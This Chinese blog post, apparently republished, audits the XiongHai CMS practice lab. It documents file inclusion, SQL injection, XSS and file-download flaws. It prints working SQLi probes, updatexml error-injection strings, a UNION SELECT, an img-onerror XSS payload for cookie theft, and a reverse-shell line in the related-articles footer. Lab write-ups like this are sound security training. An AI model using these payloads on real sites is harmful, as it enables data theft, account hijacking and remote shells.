熊海CMS 靶场

2023-11-11 12:36
文章标签 靶场 cms 熊海

本文主要是介绍熊海CMS 靶场,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

熊海CMS 靶场

0x01 前言

初步了解cms,Content Management System 内容管理系统。它是一种用于创建、编辑、管理和发布内容的软件程序或工具。内容管理系统通常用于网站、博客、企业内部系统等各种应用中,可以帮助用户管理和发布各种类型的内容,如文章、图片、视频、文件等。

进行PHP代码审计,代码审计是一种白盒测试,以发现程序错误,安全漏洞和违反程序规范为目标的源代码分析。 软件代码审计是对编程项目中源代码的全面分析,旨在发现错误,安全漏洞或违反编程约定。 它是防御性编程范例的一个组成部分,它试图在软件发布之前减少错误。

image-20231109200119822

0x02 网站的基本结构

在熊海CMS 站点中,由以下几个基础目录组成:

image-20231109195832333

css : 存放样式文件

files:存放着站点的页面html文件

houtai: 存放着站点短肽管理页面html文件

images:存放着站点的图片文件

inc:存放用于重复使用的代码、函数、类或者其他需要在多个页面中引用的文件。

install: 存放网站的安装配置也买你html文件

seacmseditor:存放着扩展插件等文件

template: 存放着定义网页结构和外观的模板html文件

upload: 为上传文件夹。

index.php: 一般为网站的访问点,

0x03 初步审计

审计流程

  1. 准备阶段:确定审计的范围和目标,收集相关文档、代码和其他必要的信息。

  2. 静态代码分析:通过工具或人工的方式对源代码进行审查,识别潜在的安全漏洞、逻辑问题或者代码质量问题。

  3. 动态代码分析:利用黑盒测试方法,对应用程序进行实际测试,寻找潜在的漏洞、安全隐患和逻辑问题。

  4. 报告撰写:总结审计结果,编写详细的审计报告,包括发现的问题、风险评估、建议的修复措施等内容。

  5. 问题跟踪和验证:与开发团队合作,跟踪和验证问题的修复过程,确保问题被有效解决。

静态审计

由于漏洞一般都发生在代码功能的逻辑错误,所以审计的重点在files、houtai两个文件夹。

问题 1 文件包含
/index.php

image-20231109201424533

index.php 网页入口文件存在文件包含漏洞。

  1. 使用GET方法传入的参数,输入使用了addslashes()函数验证,但是它只能过滤\等特殊符号假站点存在其他漏洞,攻击者可以利用文件包含漏洞非常容易的利用。

    image-20231109202328697

利用条件:

php.ini 中的allow_url_fopen = On(远端资源)、allow_url_include= On(本地资源) 两个参数任意一个是开启状态。一般情况建议关闭allow_url_fopen.

攻击通过任意方式,将恶意代码侵入网站中,若开启了allow_url_fopen ,其他恶意的URL也能导致被入侵。

修复方法:

增加收入验证、使用安全的文件包含、关闭不必要的配置。

/houtai/index.php

image-20231110123639102

image-20231110122518944

webshell只能在files文件夹内,才能利用

/template/header.php

image-20231110122136212

原理和上面一样 没有对输入参数进行验证。

image-20231110122259647

问题2 SQL 注入
addslashes()函数问题

image-20231109211939408

使用了GET方法接收参数r,并用addslashes()对参数进行特殊符号过滤,可以减少SQL注入的可能,

addslashes()函数也不一定安全,在一些特殊情况下也是可以绕过。

  1. 数据库字符集是宽字节:利用宽字节的特性,使用一个超过128的16进制,放在单引号前。
  2. SQL语句是数值类型:因为数值类型无需引号闭合。
  3. 使用特殊编码:前提条件后端需要对该参数进行相对于的解码操作。
  4. 双字节编码:用多个字节表示一个字符,例如unicode。
  5. magic_quotes_gpc: 在php5.4 之前的版本 可以开启magic_quotes_gpc参数来绕过

但是在resul变量中添加的 mysql_error(),如果sql语法错误,则会在主页上显示sql错误,如果使攻击者绕过了addslashes()就很容易进行sql注入。

image-20231109212354424

/files/software.php

software.php文件中使用GET方法获取的cid参数 未使用过滤函数,但是注释了mysql_error()函数,所以这里就造成了SQL注入

使用POC进行爆破:

image-20231109212705053

永真语句:

?cid=1' and 1=1 --+

页面正常显示。

image-20231109212759141

永假语句:

?cid=1' and 1=2--+

页面图片不在显示

由此判断改页面存在SQL盲注

image-20231109213310371

使用poc

?cid=1' and ascii(substr(database(),1,1))=120--+

由此poc可以判断该数据库的名字第一个字符为x.后句也可以根据这个poc变形爆破出该数据库的更多信息。

/files/submit.php

留言板对昵称、邮箱、网站、内容都进行的html和特殊字符过滤,但是还有隐藏参数并未进行过滤,

image-20231110135259446

image-20231110135313310

image-20231110135536953

可以从请求包中发现,未过滤的cid参数进行了SQL插入的操作,也并未对其做出过滤验证措施,而且用了mysql_error 函数将SQL的错误回显到页面之上。所以此处存在SQL报错注入。

使用POC,进行报错注入测试

'%20or%20updatexml(1,concat(0x7e,(user()),0x7e),0)%20or'

image-20231110135755037

直接爆出数据库用户名

/houtai/files/editwz.php

update SQL报错注入

image-20231110185358227

未对POST参数进行过滤验证

image-20231110185526546

image-20231110185549723

/houtai/files/editsoft insert注入

123' or updatexml(1,concat(0x7e,(user()),0x7e),0) or '

image-20231110191404567

image-20231110190109751

原理同上,未对POST传入的参数做限制

/houtai/wzlist.php

存在deleteSQL注入

image-20231111110100715

点击删除使用bp抓包

image-20231111110132662

image-20231111110334262

delete参数未使用过滤验证函数。使得该参数变为用户可控,用户可以通过改参数删除任意文章。

`/houtai/files/softlist.php

存在deleteSQL注入问题

image-20231111110725351

image-20231111110756665

image-20231111110922318

与wzlist.php 页面一样。未对delete参数进行过滤验证,导致该参数用户可控。

/houtai/editcolumn

存在selectSQL注入

image-20231111111648015

使用order by 语句发现 查询了10个字段。应该使用了*通配符进行的条件查询。

image-20231111111938998

使用POC

union select 1,2,3,4,5,6,7,8,9,10--+

后并未发现明显的回显位,所以采取报错注入进行爆破。

image-20231111112139006

成功获取数据库信息

问题3 反射型XSS
/files/contact.php

image-20231109223156742

image-20231109223254184

这里使用GET方法接收了一个page的参数,虽然做了addslashes()的特殊符号过滤操作,但是对于XSS漏洞来说还是不够的,

在代码的139行 通过a标签在页面上为做任何验证直接在页面上输出了该变量

image-20231109223749999

输入POC测试:

<img src=1 onerror=alert(123)>

image-20231109224021717

在这里我使用了一个 图片标签 img ,源地址随便设一个值,在找不到源地址,使用js报错事件来触发我想执行的内容,由于该POC内没有addslashes()过滤的特殊字符,所以addslashes()形同虚设。

例如我想得到登录账户的cookie

image-20231109224734556

/files/download.php

存在反射型漏洞

image-20231109225942298

与之前contact.php 页面一样

/files/list.php

list.php 也存在反射性XSS

image-20231109231157805

image-20231109231244391

/houtai/files/wzlist

反射性xss,原理和之前一样。不在累述

image-20231111104843636

image-20231111105114076

/houtai/files/softlist

反射性xss,原理和之前一样。不在累述

image-20231111111234402

image-20231111111242968

问题4 存储型XSS
/houtai/wzlist.php XSS存储漏洞

image-20231110183944171

后台发布文章页面 标题、作者、关键字、描述都存在存储型XSS

image-20231110184207717

由于关键字、描述在主页中没有回显位,所以无法利用

image-20231110184320381

image-20231110184554423

未对GET输入参数进行过滤验证。

/houtai/files/editsoft.php

image-20231110191950622

原理与之前一样,未对POST传入的参数验证。

image-20231110192144659

问题5 任意文件下载
/files/houtai/newsoft.php

image-20231111114011653

如果获取到后台权限可以通过editsoft的发布下载功能中设置该服务器的任意文件路径,可以通过前端页面进行下载。导致服务器的敏感文件泄露

image-20231111114236206

image-20231111114253350

image-20231111114316574

image-20231111114817398

这篇关于熊海CMS 靶场的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/390106

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

log4j靶场,反弹shell

1.用vulhub靶场搭建,首先进入目录CVE-2021-44228中,docker启动命令 2.发现端口是8983,浏览器访问http://172.16.1.18:8983/ 3.用dnslog平台检测dns回显,看看有没有漏洞存在 4.反弹shell到kali(ip为172.16.1.18)的8888端口 bash -i >& /dev/tcp/172.16.1.18

红日靶场----(四)1.后渗透利用阶段

使用Metasploit进入后渗透利用阶段     一旦我们获取了目标主机的访问权限,我们就可以进入后渗透利用阶段,在这个阶段我们收集信息,采取措施维护我们的访问权限,转向其他机器     Step01:上线MSF(通过metasploit获取目标系统的会话-即SHELL) 常用选项-p //指定生成的Payload--list payload //列出所支持的Payload类

【红日靶场】ATTCK实战系列——红队实战(一)手把手教程

目录 入侵网络的思路 一些概念 (1)工作组 (2)域 (3)账号 红日靶机(一) 网络结构 下载 配置web服务器的两张网卡 配置内网的两台机器(域控和域内主机) 渗透web服务器 外网信息搜集 (1)外网信息搜集的内容 (2)开始信息搜集(主要是利用工具) 漏洞利用 (1)漏洞利用的两种方式 (2)利用phpMyAdmin (3)开启3389端口远程桌面

tomato靶场攻略

1.使用nmap扫描同网段的端口,发现靶机地址 2.访问到主页面,只能看到一个大西红柿 3.再来使用dirb扫面以下有那些目录,发现有一个antibot_image 4.访问我们扫到的地址 ,点金目录里看看有些什么文件 5.看到info.php很熟悉,点进去看看   6.查看源代码发现是通过GET方式传参的 ,有文件包含漏洞 7. 利用文件包含漏洞,我们尝试查看一

SEO之网站结构优化(十五-CMS系统)

初创企业搭建网站的朋友看1号文章;想学习云计算,怎么入门看2号文章谢谢支持: 1、我给不会敲代码又想搭建网站的人建议 2、“新手上云”能够为你开启探索云世界的第一步 博客:阿幸SEO~探索搜索排名之道 15、CMS系统 现在的网站绝大多数是通过CMS系统制作和管理的,SEO人员优化网站就会受限于CMS 系统本身的灵活性和功能。市面上有很多开源免费的CMS系统,如中文的dede(织梦)、

Tomato靶场渗透测试

1.扫描靶机地址 可以使用nmap进行扫描 由于我这已经知道靶机地址 这里就不扫描了 2.打开网站 3.进行目录扫描 dirb    http://172.16.1.113 发现有一个antibot_image目录 4.访问这个目录 可以看到有一个info.php 5.查看页面源代码 可以发现可以进行get传参 6.尝试查看日志文件 http://172.16

攻防世界 —— 靶场笔记合集

靶场地址:https://adworld.xctf.org.cn/ 备注:此为靶场笔记合集的目录,是我接下来待更新的内容(主要是因为主线一篇太耗时间了,所以开通一条支线,来满足我日更两篇的目标,当该靶场更新完毕后,此条注释会删除) 0x01:Misc 0x02:Pwn 0x03:Web 0x0301:Web - Level 1 0x04:Reverse 0x05:Crypto

【靶场】upload-labs-master(前11关)

🏘️个人主页: 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦 【靶场】upload-labs-master(前11关) 第一关 Pass-01第二关 Pass-02第三关 Pass-03第四关 Pass-04第五关 Pass-05第六关 Pass-06第七关 Pass-07第八关 Pass-08第九关 Pass-09第十关 Pass-10第

pikachu文件包含漏洞靶场通关攻略

本地文件包含 先上传一个jpg文件,内容写上<?php phpinfo();?> 上传成功并且知晓了文件的路径 返回本地上传,并../返回上级目录 可以看到我们的php语句已经生效 远程文件包含 在云服务器上创建一个php文件 然后打开pikachu的远程文件包含靶场,随便选一个提交 在filename处修改为云服务器的目标地址 127.0.0.1/pik